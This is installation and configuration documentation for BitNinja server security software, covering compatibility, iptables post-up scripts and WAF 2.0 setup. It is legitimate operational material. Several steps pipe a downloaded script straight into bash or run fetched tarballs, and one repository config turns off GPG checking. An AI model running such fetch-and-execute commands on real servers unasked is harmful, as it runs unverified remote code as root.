Toggle navigation

BitNinja Server Protection Documentation

Version 1.0.0

Hardware requirements

Minimum server requirements for the flawless operation of BitNinja:
RAM: 512 M
Dual-core CPU
Storage: 1024M
Internet access

Please note that if you are using other services you may need more RAM.

Software requirements

BitNinja supports most modern Linux distributions. We have packages for .deb and .rpm based Linux systems and do automatic testing for the following distributions:

  • CentOS 6 64 bit
  • CloudLinux 6
  • Debian 6 64 bit
  • Debian 7 64 bit
  • Ubuntu 14 64 bit

BitNinja is also compatible with these Linux distributions:

  • CentOS 7 and up
  • CloudLinux 7 and up
  • Debian 8 and up
  • OpenSUSE 42.3 (See details at the OpenSUSE 42.3 section)
  • RedHat 6 and up
  • Ubuntu 15 and up

BitNinja can be installed on Virtuozzo / OpenVZ, but there are certain limitations you’ll need to be aware of.

Package dependencies

BitNinja has the following package dependencies on the different Linux distributions.

On Debian-based systems:

  • bitninja-dojo (>= 1.6)
  • ipset
  • daemon
  • iptables (>= 1.4.7)
  • awk
  • net-tools
  • grep
  • gzip
  • sed
  • coreutils
  • lsb-release

On rpm-based systems:

  • ipset
  • gzip
  • openssl
  • bitninja-dojo (>= 1.6)
  • net-tools
  • iptables (>= 1.4.7)
  • gawk
  • grep
  • gzip
  • sed
  • coreutils

Port requirements

Some BitNinja modules require certain ports to be open on the server. The following port numbers are the default values.

Protocol Port BitNinja module(s)
TCP 60412 CaptchaHttp, CaptchaSmtp
TCP 60413 CaptchaHttps
TCP 25 CaptchaSmtp
TCP 60201 CaptchaSmtp
TCP 60210 CaptchaFtp (active)
TCP 60211-60250 CaptchaFtp (passive)
TCP 60300 WAF HTTP
TCP 60301 WAF HTTPS
TCP 60414 SslTerminating

Do you already use tools to secure your server? You may not need them as BitNinja comes with many different modules to secure your server from every aspect and may make your previous solutions redundant. If you would like to keep your existing solutions, you can find out the compatibility of different 3rd party software below.

3rd party software Compatible Related BitNinja module
CSF (Config Server Firewall) yes IpFilterIP reputation
mod_security yes Web Application Firewall 2.0
maldet no MalwareDetection
CXS (Config Server Exploit) no MalwareDetection
LFD (Login Failure Daemon) yes Log Analysis
fail2ban yes Log Analysis
Uncomplicated Firewall yes Web Application Firewall 2.0
Dome9 no IpFilterIP reputation
Imunify360 no Web Application Firewall 2.0IP reputationMalwareDetectionLog AnalysisIpFilter
Wordfence yes Web Application Firewall 2.0MalwareDetection
APF (Advanced Policy Firewall) yes IpFilterIP reputation
firewalld yes IpFilterIP reputation
iptables-services yes IpFilterIP reputation

Below is some additional information regarding different 3rd party softwares.

CSF

BitNinja is compatible with this tool but CSF manages iptables rules aggressively. Every time you change a rule it flushes all iptables rules and reloads only its own. CSF then invokes an external script; BitNinja has the integration and sets it up automatically but it still means there is a slight time window when the BitNinja rules are not set every time CSF reloads. Many users reported the use of CSF with BitNinja successfully, although BitNinja makes CSF redundant.

mod_security

Mod_security is an apache2 WAF with fixed pattern based rulesets. Our Web Application Firewall module operates as a local reverse proxy so it is fully compatible with any web server. You can decide to keep your mod_security rules or drop them and rely on our WAF, it is up to you.

maldet

BitNinja is not compatible with maldet, the bash script for detecting malwares. Our MalwareDetection module can’t run parallel with maldet. It is safe to switch from maldet to BitNinja MalwareDetection

Docker

You can use BitNinja in a Dockerized environment with simply installing BitNinja on the host machine, so it will monitor all inbound traffic even the requests forwarded to the containers. After installing, BitNinja will automatically whitelist all of your external IP addresses so it won’t interfere with the communication between the hosts, but please double check the whitelisting by yourself as well.

CXS

BitNinja is not compatible with CXS. Our MalwareDetection module can’t run parallel with it. It is safe to switch from CXS to BitNinja MalwareDetection

LFD

BitNinja Log Analysis can run with LFD in parallel, though it is safe to stop LFD, as it is redundant to rn Log Analysis with LFD.

fail2ban

You can keep fail2ban running on your server but in most use cases Log Analysis makes it redundant. Fail2ban has some limitations as it opens every log file for every separate rule you have, so it can consume more resources. Fail2ban will also block suspicious IPs and it can frustrate users. Read more about how we solved this issue by introducing the greylist technique for different protocols. IP reputation

Uncomplicated Firewall

Uncomplicated Firewall is a front-end from iptables, it does not bother BitNinja rules.

Dome9

Unfortunately Dome9 drops any iptables rules other than its own, so Dome9 is not compatible with BitNinja currently.

Third Party monitoring services

If you are using free monitoring or scanner services like HackerGuardian, you should add them to your whitelist for the scan time. You can add them permanently, but it is not recommended because attackers like to use free online tools to scan victim servers.

If you want to use HackerGuardian, their IP range is:

199.66.200.0/21

Saving iptables rules

It is not advised to save and load iptables rules created by BitNinja, because the IpFilter module is responsible for creating and loading these rules, and to create port redirections dynamically for running processes. The module will delete rules that may be stuck from previously running processes, for when the BitNinja agent’s processes are stopped incorrectly.

In case of you have a CentOS 7 server, and you’ve decided to use iptables-services instead of firewalld, and you need to save the iptables rules, follow the steps below. We’ve successfully tested the following scenario on one of our test servers.

Install ipset-service with the following command:

yum install ipset-service

Install the ipset service, and use the following command to save the ipsets:

service ipset save

Save the actual iptables rules with the following command:

iptables-save | grep -v Bitninja > rules.txt

iptables-services

BitNinja is compatible with this firewall management service which serves as a wrapper for iptables, and makes it easier to use.

firewalld

The BitNinja agent is compatible with the RHEL 7.x+ default firewall management service. Firewalld cannot be used simultaneously with iptables-services.

Quick start guide

We put in a lot of effort to keep BitNinja as easy to use and install as possible. The easiest way to install BitNinja is by using our universal one-line installer.

You can find the different installation methods by following the instructions on https://admin.bitninja.io.


The safest choice is to use the universal installer. The universal installer is a one-line command you can use to begin the BitNinja installation on your server. It will detect the distribution and version of your Linux operating system and install BitNinja.

wget -qO- https://get.bitninja.io/install.sh | /bin/bash -s - --license_key=****your_license_key******

Note

Don’t forget to set the license key! BitNinja uses this 16 byte long string to connect your server to your profile. In the example below it is **your_license_key**** but in reality you can obtain it by logging in to https://admin.bitninja.io and clicking on the Add Server button or visiting the settings page https://admin.bitninja.io/settings/general. Look for the API key.

Note

In case you need to install BitNinja in a non-interactive way, you should use the apt-get or yum install methods with the -y option, like apt-get install -y bitninja or yum install -y bitninja.

CentOs/CloudLinux5

CentOs5 and CloudLinux5 have many versions and we only have experimental support for their ipsets. You can try to fix the missing ipset module following these steps, or if it fails, you can try to install ipset from the source. You can find detailed information about the source.

Step 1.

Edit /etc/yum.repost.d/BitNinja.repo and change from http://rpm.bitninja.io/1.0/ to http://rpm.bitninja.io/centos5/ your /etc/yum.repost.d/BitNinja.repo should look like this:
[bitninja]
name=BitNinja Server Security
baseurl=http://rpm.bitninja.io/centos5/$basearch
gpgcheck=0
enabled=1

Step 2.

yum clean all

Step 3.

yum install bitninja

In many cases with 64 bit systems it works just fine. With 32 bit systems it depends on the kernel version. If something unwanted happens because of the ipset shipped with BitNinja for CentOs5, you can downgrade the ipset by

yum downgrade ipset.

Ubuntu 10.04

Under Ubuntu 10.04 you need new iptables and compile ipset from source. Follow these steps to install the required new iptables and ipset:

wget https://launchpad.net/~dns/+archive/ubuntu/misc/+files/iptables_1.4.12-1ubuntu4~lucid1_amd64.deb
sudo dpkg -i iptables_1.4.12-1ubuntu4~lucid1_amd64.deb

Now you have recent enough iptables to install BitNinja. Now you have to install ipset too.

sudo apt-get install ipset ipset-source
m-a a-i ipset

Now you can run the universal installer to install BitNinja.

wget -qO- https://get.bitninja.io/install.sh | /bin/bash -s - --license_key=

Don’t forget to add your license key to the end of the command!

OpenSUSE 42.3

Here is a small guide about how to install BitNinja on OpenSUSE 42.3:

rpm -Uvh https://rpm.bitninja.io/1.0/noarch/bitninja-repo-1.0-1.noarch.rpm

mv /etc/yum.repos.d/BitNinja.repo /etc/zypp/repos.d/

zypper install -y bitninja

bitninja-config --set license_key=<license_key>

# workaround for ssl termination
zypper install -y haproxy

# need to break bitninja-ssl-termination package choose 2. After it, agree to install package
zypper install bitninja-ssl-termination

mv /opt/bitninja-ssl-termination/sbin/haproxy /opt/bitninja-ssl-termination/sbin/haproxy-origin

ln -s /usr/sbin/haproxy /opt/bitninja-ssl-termination/sbin/haproxy

You can enable the service with the following command:

/opt/bitninja/bitninja --daemonize

And if you wish to stop it, use the following:

pkill -15 bitninja

After you have installed BitNinja, you need to create the following symlinks:

ln -s /lib64/libssl.so.1.0.0 /lib64/libssl.so.10

ln -s /lib64/libcrypto.so.1.0.0 /lib64/libcrypto.so.10

ln -s /usr/lib64/libpcre.so.1.2.7 /lib64/libpcre.so.0

After creating them, please install the following packages:

zypper install bitninja-waf

zypper install bitninja-ssl-termination

Please choose option 2 when installing them, to prevent package dependency checking. Using these symlinks the SSL Termination and the WAF module would work without any issue.

Please note, that this process will be simplified when we’ll release a custom package for this distribution.

Virtuozzo/OpenVZ

If you’d like to install BitNinja on a Virtuozzo/OpenVZ virtual server, there are some limitations you need to be aware of.

IP reputation

Amongst the main features of BitNinja Server Security are the IP reputation lists. These are managed by the IpFilter module, and the heart of the module are the ipset and the iptables utilities.

On Virtuozzo (and other container-based virtualization), ipset might not be available. To handle this limitation, we use the simulated ipset functionality.

Simulated Ipset

If ipset is not available, BitNinja will simulate this functionality with iptables rules. This is the case with Virtuozzo/OpenVZ based virtual servers, and this is much less efficient than using ipset, so you should avoid it whenever possible. With simulated ipset, we can’t use the whole greylist with millions of IP addresses, because the technology couldn’t handle it. So the BitNinja agent will start with an empty greylist, and will only use IP information that are collected since the last restart. This mode of operation is limited and offers partial protection.

The OS must have permission to run iptables. Sometimes on Virtuozzo, this permission is not set. When this happens, you must contact your VPS service provider to grant permission to run iptables. Without iptables, BitNinja can’t function properly and can’t protect your server.

Our country block feature is also limited on Virtuozzo. The number of IP ranges on user blacklist and user whitelist is limited to 8000.

Note

For more information about the IP reputation lists, please read the following section of our documentation: IP reputation

WAF

Under certain circumstances the WAF module won’t start on Virtuozzo. This module is built on an nginx reverse proxy solution, so the number of TCP connections and packets exchanged will multiply when you use the WAF module. If the nf_conntrack_max and hashsize variables’ values are small, it would cause issues.

In this case you should contact your VPS service provider to update these values to a reasonable amount. The values BitNinja WAF is currently using are:

nf_conntrack_max: 131072

hashsize: 16384

SenseLog

For BitNinja to work properly, we need to increase the number of open files. On Virtuozzo, the process won’t have permission to increase this value. The result will be that the BitNinja main process won’t be able to fork itself, and also, the SenseLog module won’t be able to open the log files that it needs to monitor.

In this case, you will also need to contact your service provider to increase this value.

Please consider this information before installing BitNinja.

Malware Detection

The Malware Detection module uses inotifywait for active malware protection. Inotifywait uses the value stored in the /proc/sys/fs/inotify/max_user_watches file, which specifies an upper limit on the number of watches that can be created per real user ID. Inotifywait would quickly reach the maximum default value of that file, and when that happens, BitNinja will try to raise this value to 30,000,000 but on Virtuozzo and OpenVZ it won’t have the necessary permissions and the inotifywait process will stop.

In this case, you will need to contact your service provider to increase the value of max_user_watches or otherwise, BitNinja can’t provide active malware protection for your server.

WHM

If you’d like to install BitNinja into WHM, all you need to do is run the following command in your Linux terminal:

wget -qO- https://get.bitninja.io/bitninja-whm.tar.gz | tar -zx && ./bitninja-whm/install --license_key=****your_license_key******

Note

You can obtain your custom license key by logging in to https://admin.bitninja.io and clicking on the Add Server button or visiting the settings page https://admin.bitninja.io/settings/general. Look for the API key.

If you already have BitNinja installed, you can use the –no_install_bitninja flag to install BitNinja into WHM without downloading the full installer itself. To do this, run the following command:

wget -qO- https://get.bitninja.io/bitninja-whm.tar.gz | tar -zx && ./bitninja-whm/install --no_install_bitninja

Alternative methods

If you have curl installed, you can also use the following commands for installation:

curl https://get.bitninja.io/bitninja-whm.tar.gz | tar -zx && ./bitninja-whm/install --license_key=****your_license_key******

And without downloading the full installation script:

curl https://get.bitninja.io/bitninja-whm.tar.gz | tar -zx && ./bitninja-whm/install --no_install_bitninja

ISPmanager

If you’d like to install BitNinja into ISPmanager, all you need to do is run the following command in your Linux terminal:

wget -qO- https://get.bitninja.io/ispmgr-plugin.tar.gz | tar -zx && ./ispmgr-plugin/install --license_key=****your_license_key******

Note

You can obtain your custom license key by logging in to https://admin.bitninja.io and clicking on the Add Server button or visiting the settings page https://admin.bitninja.io/settings/general. Look for the API key.

Alternative methods

If you have curl installed, you can also use the following commands for installation:

curl https://get.bitninja.io/ispmgr-plugin.tar.gz | tar -zx && ./ispmgr-plugin/install --license_key=****your_license_key******

BitNinja is a modular security system. There are 3 module categories. There are general modules for system functionalities, detection modules for detecting different threats your server faces, and captcha modules for providing self-removal functionality for users if their IPs are greylisted for any reason.

IPFilter

This module is responsible for the IP filtering functionality. BitNinja uses the ipset Linux kernel module to filter IP lists effectively, using minimal system resources at a stunning speed. You can find more details about this Linux module here: http://ipset.netfilter.org/

BitNinja manages many different ipsets for you automatically. Here are the different ipsets:

  • heimdall-greylist
  • heimdall-blacklist
  • heimdall-esentiallist
  • heimdall-user-blacklist
  • heimdall-user-whitelist

When the IpFilter module boots up on your server, it will try to detect the available ipset version. There are 3 options:

  • ipset 6.x
  • ipset 4.x
  • no ipset support, simulating the functionality with iptables

ipset 6.x

In recent Linux distributions, you can enjoy the efficiency and speed of ipset v 6.x. Ipset 6.x is a complete rewrite of the previous major version, 4.x. Ipset 6.x. is the best option you can have for BitNinja.

ipset 4.x

The older 4.x version has some limitations like having a maximum size of 65500 IP/ipsets, having a different set of cli options from the new version, and having a maximum of 255 ipsets. The BitNinja greylist has a size of millions of IPs. We have to split the greylist into smaller lists to use it with ipset 4.x. BitNinja splits the greylist into 100 smaller lists.

SimulatedIpset

If there is no ipset available, BitNinja will simulate this functionality with iptables rules. This is much less efficient than using ipset so you should avoid it whenever possible. In case of container based virtualization, when ipset is not available, we fall back to simulated ipset functionality. This is the case with Virtuozzo/OpenVZ based virtual servers and any case where ipset is not available.

In case of simulated ipsets, the efficiency is so poor that we cannot use the whole greylist with millions of IPs so your server will start with an empty greylist and only use IP information gathered since the last restart.

You should try to get your server to use ipset v 6.x to enjoy the best performance. You can find more info about how to install ipset in the Installation section.

Extending IpFilter

You can define custom scripts to run whenever BitNinja finishes initializing its sets and iptables rules. This makes it possible to add your own IPs and rules to BitNinja’s ruleset or run other programs when the IpFilter module finishes its startup process.

The following steps should be made in order to set up a post-up script

  • You should place a file into the /etc/bitninja/IpFilter/postup-scripts.d/ directory.
  • The name of the file should begin with “al_”. For example, the file /etc/bitninja/IpFilter/postup-scripts.d/al_myscript.sh is a valid path for a post-up script.
  • Make sure that the script is owned by the root user and is runnable by the owner.
  • The post-up script should have the same syntax as the scripts you normally invoke from the shell. For example, its first line should be #! <the path of the inerpreter>, as usual.
  • After you’ve created your script, you should restart BitNinja. You can check if there were any errors in the /var/log/bitninja/mod.ipfilter.log file.

Useful post-up extension scripts

BitNinja normally block both inbound and outbound connections from and towards greyilsted or blacklisted IPs. However, you may need to allow outbound traffic towards every IP, even the blocked ones. This script should help you.

#! /bin/bash

echo "Enabling outbound traffic..."
iptables -t nat -I HEIMDALL-GREY -m state --state ESTABLISHED,RELATED -j RETURN &&
iptables -t mangle -I HEIMDALL-IN -m state --state ESTABLISHED,RELATED -j RETURN &&
echo "Done."

Sometimes, you may need to exculde specific ports from being filtered. The following script can be used in such cases. You should replace the ports defined in the PORTS variable with the ports you need to enable.

#! /bin/bash

PORTS="25,110,143" # A list of TCP ports to be allowed, separated by comma

echo "Enabling all traffic on ports [$PORTS]..."
iptables -t mangle -I HEIMDALL-IN -p tcp -m multiport --dports "$PORTS" -j RETURN &&
iptables -t nat -I HEIMDALL-GREY -p tcp -m multiport --dports "$PORTS" -j RETURN &&
echo "Done."

You can enable the WAF module to work with private IP addresses too, using the following post-up script:

#!/bin/bash

echo "Enabling WAF manually..."
IPS="127.0.0.1 1.2.3.3 1.2.3.4" # A list of IP addresses to use with WAF, change it to your preference!
iptables -t nat -N BN_WAF_REDIR
iptables -t nat -A HEIMDALL-GREY -p tcp -m tcp -j BN_WAF_REDIR

for IP in $IPS; do
        echo "Creating DNAT HTTP and HTTPS redirection for ip [$IP]..."
    iptables -t nat -A BN_WAF_REDIR -d $IP/32 -p tcp -m tcp --dport 80 -j DNAT --to-destination $IP:60300
    iptables -t nat -A BN_WAF_REDIR -d $IP/32 -p tcp -m tcp --dport 443 -j DNAT --to-destination $IP:60414
done

This script won’t enable the WAF module – you should do that manually on the Dashboard or using bitninjacli -, but it will create the necessary redirections.

Web Application Firewall 2.0

Introduction

Generally speaking, web application firewalls monitor, filter, and block incoming and outgoing traffic on HTTP protocol. Through analysis, it’s a good protection shield against common web hacks, like injection flaws (eg. SQL injection), cross site scripting (XSS), session hijacking, remote and local file inclusions and other attacks.

We created an application layer firewall that is also known as a proxy-based firewall. You can easily activate it on the Dashboard (see instructions below).

BitNinja WAF 2.0 only scans incoming traffic currently, in real-time, with the built-in HTTP proxy solution. (For outbound traffic filtering there is a different module, the Outbound WAF.) Upon activation, BitNinja adds an iptables rule to your nat iptables table to redirect all traffic coming from port 80 to a port dedicated for BitNinja WAF 2.0. The WAF 2.0 process analyzes the incoming traffic and makes a connection to your local HTTP server to fetch the actual content.

We maintain filter patterns, and update and fine-tune regularly with new BitNinja versions. If BitNinja finds any suspicious connections, it will greylist the IP and send the incident to the BitNinja Analyzer Central.

Technical overview

Through the development of the original WAF module, we realized there are way too many features that we need to implement just to catch up with the open-source solutions. That’s why we decided to change our technology stack here and use industry-standard technologies. We started to look for different WAF models and then decided to choose a model used by CloudFlare and Incapsula. The WAF 2.0 is based on a very fast reverse proxy engine, the well-known nginx 1.12. Plus, supported by a well-known and very reliable WAF engine (mod_security v3) and a battle-tested ruleset from the Open Web Application Security Project, the OWASP crs v3.

This setup works very well. The performance is killer. In the near future, we will constantly update and finetune the ruleset, add other rulesets and implement more and more rules. We monitor the false positive rates of all rules and based on this we can tweak risky rules on the fly, and release the fixes very often.

We ship the custom-built and tuned nginx + lib-modsecurity package with bitninja. The package is called bitninja-waf and it installs in /opt/bintinja-waf

The waf-manager BitNinja module is responsible for managing the nginx+lib-modsecurity stack. It automatically installs, starts, configures, reconfigures and stops the nginx instances.

When nginx is started and it’s ready to accept connections for filtration, the waf-manager module sets up the redirection rules to redirect incoming traffic to the WAF 2.0. The WAF 2.0 then uses the currently used http server as a backend and pass the filtered traffic on.

Compatibility

Our bitninja-waf package is NOT compatible with the following Linux distributions:

  • Ubuntu < 14.04
  • Debian <= 6.0 (Squeeze)
  • CentOS/CloudLinux <= 5

Pre-requirements

Before you enable the WAF 2.0 module, there are some steps you have to take to enjoy the full functionality of the WAF module.

Add your server’s IP address(es) as trusted proxy

It’s very important to set your server’s IP(s) as trusted proxy to see the real visitors’ IP address in your server’s access log files, as well as to update the LogFormat directive in your web-server’s config file (e.g. httpd.conf for Apache) to use %a instead of %h:

LogFormat "%a %l %u %t \"%r\" %>s %b \"%{Referer}i\" \"%{User-Agent}i\"" combined

Using Apache only

Please open your Apache configuration file with your favourite text editor. Insert the following lines at the end of the httpd.conf file. On Debian you can find the configuration file usually at /etc/apache2/httpd.conf The location of this file is set at compile-time, but may be overridden with the -f command line flag.

<IfModule remoteip_module>
    RemoteIPHeader X-Forwarded-For
    RemoteIPInternalProxy INSERT YOUR IP ADDRESS(ES) HERE
</IfModule>

Apache with Plesk

In Plesk this configuration is not necessary as the X-Forwarded-For header is already included with all IP addresses of the server in the configuration files of all web server applications. If remoteip is not enabled yet, you need to enable remoteip from Plesk.

  1. Go to Tools and settings
  2. Apache Web Server
  3. Tick in remoteip’s checkbox under Apache modules

../_images/plesk_apache.png

Using cPanel on Apache server

You can find the Apache configuration menu by typing Apache into the search field of cPanel/WHM, or please go to the Pre Main Include menu of Apache. You can find it like this:

  1. cPanel/WHM
  2. Home
  3. Service Configuration
  4. Apache Configuration
  5. Include Editor
  6. Pre Main Include ( Here choose All version )
  7. Please eneter the following text in to the textfield
<IfModule remoteip_module>
    RemoteIPHeader X-Forwarded-For
    RemoteIPInternalProxy INSERT YOUR IP ADDRESS(ES) HERE
</IfModule>

../_images/cpanel_whm.png

Please also check if the logformat looks like this :

"%a %l %u %t \"%r\" %>s %b \"%{Referer}i\" \"%{User-Agent}i\"" combined

You can find it at:

  1. cPanel/WHM
  2. Home
  3. Service Configuration
  4. Apache Configuration
  5. Global Configuration

At the LogFormat (combined) field. If it looks like above there is nothing to do, if not please change it to

"%a %l %u %t \"%r\" %>s %b \"%{Referer}i\" \"%{User-Agent}i\"" combined

Using cPanel on LiteSpeed server

On a LiteSpeed web server with cPanel you simply need to enable the Use Client IP in header section to “Trusted IP only” in the General Settings section on the Configuration page and add proxy IPs to the trusted IP list, as shown on the following page: https://www.litespeedtech.com/support/wiki/doku.php/litespeed_wiki:config:show-real-ip-behind-a-proxy

Please go to the LiteSpeed Configuration menu and select Server and select General. In the General Settings menu you can see Use Client IP in Header please select Trusted IP Only.

../_images/cpanel_litespeed.pngAfter that is done please restart LiteSpeed. Please also check the logformat whether it looks like this LogFormat

"%a %l %u %t \"%r\" %>s %b \"%{Referer}i\" \"%{User-Agent}i\"" combined

Using cPanel on NGINX server (cPanel Engintron module)

  1. Open the Engintron plugin in WHM
  2. Click on the Edit nginx.conf
  3. Insert the following codes before the real_ip_header X-Forwarded-For line:
set_real_ip_from <Your server(s) IP address(es)>;
real_ip_recursive on;

../_images/engintron.png

  1. Click on the update /etc/nginx/nginx.conf button
  2. Check the logformat whether it looks like this:
LogFormat "%a %l %u %t \"%r\" %>s %b \"%{Referer}i\" \"%{User-Agent}i\"" combined

Installing mod_remoteip

When the WAF 2.0 module is active, all requests will be accepted by it and it will open a new connection to your appropriate local server. This way your local server will ‘see’ only the IP address of the WAF. A typical symptom of this error is when your HTTP server logs every request as it was made from the local IP or 127.0.0.1.

There is a standard solution for this problem. The WAF 2.0 will add an HTTP header to every request with the real IP address. The name of the header we use is X-Forwarded-For.

If you use apache2 as a web server, there are 3 modules you can use. They all can provide this functionality. We recommend mod_remoteip.

  • mod_remoteip
  • mod_rpaf (only up to apache 2.2)
  • like mod_extract_forwarded

Installing mod_remoteip on cPanel servers

Please follow the instructions provided on this website to configure your apache with mod_remoteip: https://grepitout.com/install-mod_remoteip-cpanel/

Additionally, you can use the following lines:

wget -O /usr/local/src/mod_remoteip.c https://raw.githubusercontent.com/infinitnet/mod_remoteip-httpd22/master/mod_remoteip.c
cd /usr/local/src/
apxs -i -c -n mod_remoteip.so mod_remoteip.c

Configuring mod_remoteip

On some of the RHEL-based distrubitions, the RemoteIp module can be a better choice, as Apache2 contains it by default. You can find an example configuration below. Please specify every IP of your server in the web-server’s config file.

<IfModule remoteip_module>
    RemoteIPHeader X-Forwarded-For
    RemoteIPInternalProxy INSERT YOUR IP ADDRESS(ES) HERE
</IfModule>

You may also need to change the log format. The %h format string should be replaced with %a, for example, if you are using this log format

LogFormat "%h %l %u %t \"%r\" %>s %b \"%{Referer}i\" \"%{User-Agent}i\"" combined

you’ll need to modify it to

LogFormat "%a %l %u %t \"%r\" %>s %b \"%{Referer}i\" \"%{User-Agent}i\"" combined

Installing mod_rpaf on Debian/Ubuntu

You can install the rpaf module under Debian with apt-get like this:

apt-get install libapache2-mod-rpaf

Installing mod_rpaf on CentOs and others

In RHE/RHL machines there is no pre-packaged version of the rpaf module, but you can easily compile the module by following the instructions below

# Download the rpaf module
cd /root
wget https://github.com/y-ken/mod_rpaf/archive/master.zip
unzip master.zip

# Compile the module
cd mod_rpaf-master/
apxs -i -c -n mod_rpaf-2.0.so mod_rpaf-2.0.c

Now create the file /etc/httpd/conf.d/mod_rpaf.conf with the content below at the sample rpaf configuration part, and restart apache.

If you use apache2 and the rpaf module has been installed, you can enable it with

a2enmod rpaf

Here is a sample mod_rpaf configuration.

LoadModule rpaf_module modules/mod_rpaf-2.0.so
<IfModule mod_rpaf-2.0.c>
    RPAFenable On

    # When enabled, take the incoming X-Host header and
    # update the virtualhost settings accordingly:
    RPAFsethostname On

    # Define which IP's are your frontend proxies that sends
    # the correct X-Forwarded-For headers:
    RPAFproxy_ips 127.0.0.1 xx.xx.xx.xx

    # Change the header name to parse from the default
    # X-Forwarded-For to something of your choice:
    #   RPAFheader X-Real-IP
</IfModule>

Finally, restart Apache to apply the changes:

service httpd restart

Activating and Deactivating the WAF 2.0 module

Here is how to activate the WAF 2.0 module:

  1. Log in to https://admin.bitninja.io/
  2. Navigate to https://admin.bitninja.io/modules
  3. Select the server you want to activate the WAF 2.0 module on.
  4. Switch WAF 2.0 on.

BitNinja WAF 2.0 will be activated within 15 seconds.

To deactivate the WAF 2.0 module you have 3 options:

  1. You can use the Dashboard and switch the WAF 2.0 module off (preferred)

  2. You can use the command line (not recommended)
    bitninjacli --waf=disabled
    
  3. You can shut down BitNinja (this is the most radical solution, but it will also

    disable the WAF appropriately)

    service bitninja stop
    

Configuration

BitNinja WAF 2.0 – just like other BitNinja modules – is designed to require no configuration. Essentially it can be simply dropped in and it works with the defaults, but to avoid false positives and tune the security level the WAF 2.0 can be configured using the config panel the Dashboard (https://admin.bitninja.io )

When you start the module, the WAF will start to proxy all HTTP connections. By default, a recommended ruleset will be applied on all traffic, and the WAF 2.0 is in log only mode. To switch on the active protection, change the configuration of the default domain pattern and set the Action to “Challange and greylist IP”

The module configuration file is located at: /etc/bitninja/WAFManager/config.ini, if you need to fine-tune some of the settings on your server. In some cases, you may need to use your own custom-built Nginx with libmodsecurity. You can change the binary-related settings in the Nginx config section.

[nginx]
;binaryLocation  = '/opt/bitninja-waf/sbin/nginx'
;configLocation = '/opt/bitninja-waf/etc/nginx.conf'
;workingDirectory = '/opt/bitninja-waf/etc/'
;pidFileLocation = '/var/run/bitninja-waf.pid'
;pidfile = '/var/run/bitninja-waf.pid'
;group = 'bitninja-waf'
;user = 'bitninja-waf'
;configPermission = '0644'
;sciptPermission = '0644'
;updateConfigOnStart = 1

By default, WAF 2.0 will only create port redirections for public IPs. We had many issues with local/private IP HTTP checks. You can change this behavior by changing the redirection options to a per network interface basis.

;
; Enable WAF on Interfaces only.
; The default redirection option is for public ips only.
;
[redirect_options]
;interface[]='eth0'
;interface[]='eth1'

ModSecurity has very powerful audit logging, which can log every detail of a HTTP request/response. It’s a great tool for System Admins to find attack attempts. But it can consume a lot of disk space, this is why it’s disabled by default. You can change this behavior by changing the action manager settings. The default actions are: – LogToFile: save triggered incidents to /var/log/bintninja/WAFManager – SendToShogun: creates incidents and sends it to the API server

Available actions: – AuditLog: saves ModSecurity audit logs to /var/log/bitninja-waf directory – BlackList: USE THIS WITH CAUTION! It will instantly blacklist the IP that triggers the specific rule. Please use this option only with secrule 10, which will be generated after creating a virtual honeypot location with bitninjacli –waf-honeypotify-uri=/path/to/malware.

[actionmanager]
;log_dir = '/var/log/bitninja/WAFManager'
;auditlog_dir = '/var/log/bitninja-waf'
;default_actions[]='LogToFile'
;default_actions[]='SendToShogun'
;default_actions[]='Auditlog'
; Rule specific changes
; To instantly blacklist IP caught by user defined honeypot uri-s
;secrule[10] = 'BlackList'

Domain pattern configuration

You can add custom domain patterns easily to lighten or restrict rules or completely switch off the WAF 2.0 on a per domain basis. To assign special rulesets to a domain pattern, select the pattern first and use the sliders to enable/disable any rules/rulesets.

../_images/waf-1.png1. This is the domain pattern. A domain pattern consist of a string and asterisk signs (*) For example mydomain.com/hello/ will match any request which contain the “mydomain.com/hello/” string. So it will match mydomain.com/hello, www.mydomain.com/hello and www.mydomain.com/hello/abc too.

2. This is the rule set currently applied on the domain pattern. You can change it at the (7) Ruleset template section.

3. Here you can find how many times the rule was triggered and how many times BitNinja recorded a false positive.

  1. To completely disable the WAF 2.0 for this domain pattern, set the checkbox.

5. You can lock down any domain to disable POST requests and make the site read-only. This restricted mode leaves the site available for visitors but prevents most of the further hacking attempts. The lock down mode is a very agressive way to protect a site, use only as a last resort.

6. You can specify actions to be taken when a rule is triggered: – Choose „Challenge and greylist IP” to maximize security and avoid targeted attackers and botnets from bypassing the WAF 2.0. In this case, visitors will be challenged by the BitNinja CAPTCHA page. – Choose „Log only” if you don’t want to enable the protection for this domain, but you want to see all suspicious logs generated by WAF 2.0. You can use this option to test the WAF before production use.

7. A ruleset template is a set of enabled rules. There are built-in ruleset templates (the ones starting with „BitNinja – „) but you can define your own ruleset templates, too. When you change a ruleset template by adding or removing a rule, all changes will be applied to all domain patterns using that ruleset template.

You can divert from the ruleset template anytime by adding or removing rules in case of a domain pattern, but the changes to the ruleset template will be still applied.

8. We provide open-source and custom-made mod_security rules and keep them up-to-date. You can activate or deactivate any rule for a given domain pattern. If you apply a ruleset template, it will switch on a set of rules, but you can still add more rules or deactivate some.

9. The ‘forked’ column will indicate how many rules are different (added or removed) compred to the originally selected domain template.

Safe implementation best practices

The safest way to introduce the WAF 2.0 on your servers is doing it by small steps. During the internal testing phase, we followed this implementation plan:

1. Enable WAF 2.0 on 1 server only: To minimize risk, enable the WAF 2.0 module first on only 1 server in Log only mode with the BitNinja default ruleset. Choose a server with a relatively low traffic to minimize any damage in case of a failure. If you have the old WAF enabled, and it was working fine, then you can enable WAF 2.0. It will automatically disable the old WAF, install and enable the new WAF 2.0 in Log only mode without disrupting the traffic. If you don’t have the old WAF running on your server, please follow the pre-requirement steps described on our documentation site. The old WAF and the new WAF 2.0 has the same pre-requirements. (Later we plan to make this step automated, too.)

2. Observe the WAF 2.0: In log only mode, you can see all the logged (but not blocked) incidents using the Dashboard. https://admin.bitninja.io/ipmanager/analyze Choose BL_BN_WAF from the Incident types and the server name you have enabled WAF 2.0 on. You will see the Log only incidents in light grey color.

Log only incidents won’t greylist the IP and the connection is not interrupted by the WAF 2.0. You can monitor the incidents and manually greylist the IPs if you find positive hits (hopefully most of them will be positives without false positives ☺ ). If you find any false positives generated by the default ruleset we ship, please send it us so we can tweak the default rules.

3. Expand to other servers in Log only mode: After a couple days of observation with the first server and the generated log level incidents, you can expand the WAF 2.0 to other servers, too. Please feel free to send us any feedback about the new WAF 2.0. We are happy to help!

